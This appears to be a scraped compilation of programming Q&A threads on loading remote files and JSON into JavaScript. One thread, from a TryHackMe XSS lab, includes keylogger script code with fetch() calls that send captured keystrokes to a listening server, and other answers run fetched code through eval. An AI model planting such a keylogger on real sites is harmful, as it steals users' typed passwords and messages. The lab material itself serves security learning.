HTML/Javascript - Get text from online file - javascript

I have info that Shoutcast outputs as an html file.
The html file looks like this: http://216.118.106.247:443/7.html.
Is there any way to get the last item in that list/array into Javascript as a string?
I want to output the song info in a html file, I assume that once I get it into JS as a string that I can use the document.write() function to output the code...
Thanks!

If you look at http://code.google.com/chrome/extensions/xhr.html, you'll need to set up cross-origin requests and then you should be able to use the XMLHttpRequest to fetch the data.
EDITED:
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = process;
xhr.open("GET", "http://216.118.106.247:443/7.html", true);
xhr.send();
function process()
{
if (xhr.readyState == 4) {
var resp = JSON.parse(xhr.responseText);
// resp now has the text and you can process it.
alert(resp);
}
}

Take a look at XMLHttpRequest aka Ajax requests.
There are a ton of libraries that make "Ajax" easy. Try this one:
http://www.prototypejs.org/api/ajax/request
There are limitations with what you can retrieve using ajax. Due to security issues your browser will not let javascript running on yourwebsite.com perform ajax requests to mywebsite.com.
Look up cross site scripting.

There are several methods out there for you to use. But make sure files are in the same server or folder.
Using XMLHttpRequest: http://www.javascripter.net/faq/xmlhttpr.htm
Using FileSystemObject: http://msdn.microsoft.com/en-us/library/czxefwt8(v=VS.85).aspx
Using a "helper" Java applet that reads a file or URL for your script
var fileContent='';
var theLocation='';
function readFileViaApplet(n) {
document.f1.t1.value='Reading in progress...';
document.ReadURL.readFile(theLocation);
setTimeout("showFileContent()",100);
}
function showFileContent() {
if (document.ReadURL.finished==0) {
setTimeout("showFileContent()",100);
return;
}
fileContent=document.ReadURL.fileContent;
document.form1.textarea1.value=fileContent;
}
Some other source to reference: http://www.c-point.com/JavaScript/articles/file_access_with_JavaScript.htm (many examples).

Just write a javascript file (js file) and include with the script tags.
This file will have your data like that.
<script type="text/javascript" src="data.js" >
where data.js can be..
var data[];
data[0]="something";
e.t.c
In your page (the one that calls data.js) the array data will be accessible.

Related

Send Javascript data to SimpleHTTPServer

I'm doing the xss challenge on tryhackme.com (https://tryhackme.com/room/xss). The 7th task asks me to use a simple keylogger
<script type="text/javascript">
 let l = "";
 document.onkeypress = function (e) {
   l += e.key;
   console.log(l);
 }
</script>
and send the input to http://<vm ip>/log/<this data will be logged> as that will log the keystrokes which can be viewed by going to http://<vm ip>/logs. I have tried things such as window.location, but can't get it to work.
For further learning, I'd also like to send the data to my SimpleHTTPServer running on port 8000, so that the keys would be displayed in my terminal as they are typed on the webpage. I cannot get this to work.
Could someone please show me how to do this?
No, I am not being malicious. I am learning as I'd like to work in cyber security. If I was being malicious I'd just use scripts I'd find on GitHub or something without understanding how they work.
Thank you.
As SimpleHTTPServer logs every request it receives, you can use fetch() to make a GET request and pass the data within it.
<script type="text/javascript">
let l = "";
document.onkeypress = function (e) {
  l += e.key;
  console.log(l);
fetch(`http://127.0.0.1:8000?logger=${l}`, { mode: 'no-cors'});
}
</script>
This would give you something like this:
For sending the data to the VM you could use fetch too, being it something like this:
fetch(`http://VM_IP/log/${l}`, { mode: 'no-cors'});
Excluding many packaging resources, you can use a simple WEB API to achieve this purpose. Here I briefly introduce two WEB APIs
Fetch API
The Fetch API provides a JavaScript interface for accessing and
manipulating parts of the HTTP pipeline, such as requests and
responses.
fetch('http://example.com/movies.json')
.then(function(response) {
return response.json();
})
.then(function(myJson) {
console.log(myJson);
});
XMLHttpRequest API
XMLHttpRequest (XHR) objects are used to interact with servers. You
can retrieve data from a URL without having to do a full page refresh.
This enables a Web page to update just part of a page without
disrupting what the user is doing.
function reqListener () {
console.log(this.responseText);
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "http://www.example.org/example.txt");
oReq.send();

Define Javascript Variable With Contents of URL

I have found a geocoder website that will give me some data that I need as a variable in my javascript code: http://geocoder.us/service/csv/geocode?zip=95472. the website returns only the content: 38.393314, -122.83666, Sebastopol, CA, 95472. I need pull this information from the website and put it into a string.
abc = "38.393314, -122.83666, Sebastopol, CA, 95472"
How can I accomplish this?
You can use AJAX:
var req = new XMLHttpRequest(); //Create an AJAX object
req.open('GET','http://geocoder.us/service/csv/geocode?zip=95472',true); //Location and method
req.send(); //Send
req.onreadystatechange = function() { //When it's ready
if (this.readyState === 4) { //... which is code 4
console.log(this.responseText); //Then you have the responseText
}
}
This only works when the request is from the same domain, tho (for security purposes). If you want it to work on any domain, you'll have to use a proxy.
You should use Javascript to make an ajax request to that URL and it will return the information you want in a format you specify, usually JSON. Depending on what Javascript libraries you are/aren't using, there's different ways you could do that -- probably the most common would be to use jQuery to make your request. Here's info on that API:
https://api.jquery.com/jQuery.get/

reading server file with javascript

I have a html page using javascript that gives the user the option to read and use his own text files from his PC. But I want to have an example file on the server that the user can open via a click on a button.
I have no idea what is the best way to open a server file. I googled a bit. (I'm new to html and javascript, so maybe my understanding of the following is incorrect!). I found that javascript is client based and it is not very straightforward to open a server file. It looks like it is easiest to use an iframe (?).
So I'm trying (first test is simply to open it onload of the webpage) the following. With kgr.bss on the same directory on the server as my html page:
<IFRAME SRC="kgr.bss" ID="myframe" onLoad="readFile();"> </IFRAME>
and (with file_inhoud, lines defined elsewhere)
function readFile() {
func="readFile=";
debug2("0");
var x=document.getElementById("myframe");
debug2("1");
var doc = x.contentDocument ? x.contentDocument : (x.contentWindow.document || x.document);
debug2("1a"+doc);
var file_inhoud=doc.document.body;
debug2("2:");
lines = file_inhoud.split("\n");
debug2("3");
fileloaded();
debug2("4");
}
Debug function shows:
readFile=0//readFile=1//readFile=1a[object HTMLDocument]//
So statement that stops the program is:
var file_inhoud=doc.document.body;
What is wrong? What is correct (or best) way to read this file?
Note: I see that the file is read and displayed in the frame.
Thanks!
Your best bet, since the file is on your server is to retrieve it via "ajax". This stands for Asynchronous JavaScript And XML, but the XML part is completely optional, it can be used with all sorts of content types (including plain text). (For that matter, the asynchronous part is optional as well, but it's best to stick with that.)
Here's a basic example of requesting text file data using ajax:
function getFileFromServer(url, doneCallback) {
var xhr;
xhr = new XMLHttpRequest();
xhr.onreadystatechange = handleStateChange;
xhr.open("GET", url, true);
xhr.send();
function handleStateChange() {
if (xhr.readyState === 4) {
doneCallback(xhr.status == 200 ? xhr.responseText : null);
}
}
}
You'd call that like this:
getFileFromServer("path/to/file", function(text) {
if (text === null) {
// An error occurred
}
else {
// `text` is the file text
}
});
However, the above is somewhat simplified. It would work with modern browsers, but not some older ones, where you have to work around some issues.
Update: You said in a comment below that you're using jQuery. If so, you can use its ajax function and get the benefit of jQuery's workarounds for some browser inconsistencies:
$.ajax({
type: "GET",
url: "path/to/file",
success: function(text) {
// `text` is the file text
},
error: function() {
// An error occurred
}
});
Side note:
I found that javascript is client based...
No. This is a myth. JavaScript is just a programming language. It can be used in browsers, on servers, on your workstation, etc. In fact, JavaScript was originally developed for server-side use.
These days, the most common use (and your use-case) is indeed in web browsers, client-side, but JavaScript is not limited to the client in the general case. And it's having a major resurgence on the server and elsewhere, in fact.
The usual way to retrieve a text file (or any other server side resource) is to use AJAX. Here is an example of how you could alert the contents of a text file:
var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else if (window.ActiveXObject) {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.onreadystatechange = function(){alert(xhr.responseText);};
xhr.open("GET","kgr.bss"); //assuming kgr.bss is plaintext
xhr.send();
The problem with your ultimate goal however is that it has traditionally not been possible to use javascript to access the client file system. However, the new HTML5 file API is changing this. You can read up on it here.

Javascript AJAX include file witth eval

Suppose I have
1)
a HTML document.
2)
This HTML document loads Javascript file "code.js" like this:
<script src="code.js">
3)
User clicks button which runs "fetchdata" function in "code.js",
4)
"fetchdata" function looks like this:
var xmlhttp = new XMLHttpRequest();
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState==4) {
myjsdata = xmlhttp.responseText;
}
}
xmlhttp.open("GET", 'http://www.example.com/data.js', false);
xmlhttp.send(null);
...
Now how do I do the following successfully:
I want to insert/eval my Javascript in a way, so all functions in "code.js" including "fetchdata" and functions defined above/below can access the data (structures, declarations, pre-calculated data values etc.) in "data.js".
(If this was possible, it would be idea since I could wait loading the actual JS data file until the user explicitly requests it.)
jQuery always has something for everything:
http://api.jquery.com/jQuery.getScript/
Loads a javascript file from url and executes it in the global context.
edit: Oops, didn't see that you weren't using jQuery. Everyone is always using jQuery...
Just do:
var scrpt = document.createElement('script');
scrpt.src='http://www.example.com/data.js';
document.head.appendChild(scrpt);
i think you should take a look at this site
this site talks about dynamic loading and callbacks (with examples) - where you can call a function in the loaded script after it loads. no jQUery, just pure JS.
This depends on a lot of factors, but in most cases, you will want to load all of your code/html/css in one sitting. It takes fewer requests, and thus boast a higher perceived performance benefit. Unless your code file is over several Megabytes big, loading it when a user requests it is unnecessary.
In addition to all of this, modifying innerHTML and running scripts via eval can be very cumbersome and risky (respectively). Many online references will back this point. Don't assume that, just because a library is doing something like this, it is safe to perform.
That said, it is entirely possible to load external js files and execute them. One way is to stick all of the code into a newly created script tag. You can also just try running the code in an eval function call (though it isn't recommended).
address = "testscript.js";
var req = (window.XMLHttpRequest)?new XMLHttpRequest():new ActiveXObject("Microsoft.XMLHTTP");
if(req == null) {
console.log("Error: XMLHttpRequest failed to initiate.");
}
req.onload = function() {
try {
eval(req.responseText);
} catch(e) {
console.log("There was an error in the script file.");
}
}
try {
req.open("GET", address, true);
req.send(null);
} catch(e) {
console.log("Error retrieving data httpReq. Some browsers only accept cross-domain request with HTTP.");
}

How to include JSON data in javascript synchronously without parsing?

I want to load a JSON file from my own server containing an array into a javascript Object variable.
I would like to do it at the beginning of page load in a synchronous way because data is needed during page load.
I managed to use jQuery.getJSON but this is asynch ajax and it seems a little overkill.
Is there a way to load JSON in a synch way without doing your own parsing? (more or less like using a <script language="JavaScript" src="MyArray.json"></script>)
Thanks in advance for any help, hope it makes sense since I am a javascript newbie.
Paolo
getJSON() is simply shorthand for the ajax() function with the dataType:'json' set. The ajax() function will let you customize a lot about the request.
$.ajax({
url: 'MyArray.json',
async: false,
dataType: 'json',
success: function (response) {
// do stuff with response.
}
});
You still use a callback with async:false but it fires before it execution continues on from the ajax call.
Here you go:
// Load JSON text from server hosted file and return JSON parsed object
function loadJSON(filePath) {
// Load json file;
var json = loadTextFileAjaxSync(filePath, "application/json");
// Parse json
return JSON.parse(json);
}
// Load text with Ajax synchronously: takes path to file and optional MIME type
function loadTextFileAjaxSync(filePath, mimeType)
{
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",filePath,false);
if (mimeType != null) {
if (xmlhttp.overrideMimeType) {
xmlhttp.overrideMimeType(mimeType);
}
}
xmlhttp.send();
if (xmlhttp.status==200 && xmlhttp.readyState == 4 )
{
return xmlhttp.responseText;
}
else {
// TODO Throw exception
return null;
}
}
NOTE: This code works in modern browsers only - IE8, FF, Chrome, Opera, Safari. For obosolete IE versions you must use ActiveX, let me know if you want that I will tell you how ;)
if you're using a server script of some sort, you could print the data to a script tag on the page:
<script type="text/javascript">
var settings = <?php echo $json; ?>;
</script>
This will allow you to use your data synchronously rather than trying to use AJAX asynchronously.
Otherwise you'll have to wait for the AJAX callback before continuing on with whatever it is you're doing.
I only needed to read a small input file provided in json format and extract a small amount of data. This worked just fine in the circumstances:
json file is in the same directory as the script and is called data.json, it looks something like this:
{"outlets":[
{
"name":"John Smith",
"address":"some street, some town",
"type":"restaurant"
},
..etc...
read the data into js like this:
var data = <?php echo require_once('data.json'); ?>;
Access the data items like this:
for (var i in data.outlets) {
var name = data.outlets[i].name;
... do some other stuff...
}
If RequireJS is an option, you can make it a dependency using requirejs. I use it to mock data in my Angular application. It's essential that some of the mocked data is there before the bootstrap of the app.
//Inside file my/shirt.js:
define({
color: "black",
size: "unisize"
});
Just wrap the json data in a define and declare it as a dependency. More info here: http://requirejs.org/docs/api.html#defsimple
AFAIK jQuery has deprecated synchronous XHR requests because of the potential for performance issues. You could try wrapping your app code up in the XHR response handler as in the following:
$(document).ready(function() {
$.get('/path/to/json/resource', function(response) {
//'response' now contains your data
//your app code goes here
//...
});
});
The modern HTML5 way without jQuery would be:
var url="https://api.myjson.com/bins/1hk8lu" || "my.json"
var ok=await fetch(url)
var json=await ok.json()
alert(a.test)

Categories